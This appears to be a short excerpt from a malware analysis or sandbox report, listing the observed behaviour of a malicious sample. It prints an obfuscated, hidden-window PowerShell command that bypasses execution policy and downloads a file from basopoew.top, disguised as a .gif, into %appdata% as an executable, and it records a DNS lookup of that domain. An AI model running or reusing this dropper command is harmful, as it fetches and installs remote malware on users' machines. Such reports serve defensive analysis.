Technical Information
- http://www.basopoew.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pOwERshElL.Exe -exECutiONpoLicY bypaSS -noPROfiLe -WINdoWSTYle hiddEn (NeW-OBject SysTEm.NeT.weBcLiEnt).downLoaDfILe('http://www.basopoew.top/read.php?f=1.gif','%aPpDaTA%.eX...
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /C "pOwERshElL.Exe -exECutiONpoLicY bypaSS -noPROfiLe -WINdoWSTYle hiddEn (NeW-OBject SysTEm.NeT.weBcLiEnt).downLoaDfILe('http://www.basopoew.top/read.php?f=1.gif','%aPpDaTA%.eX...' (with hidden window)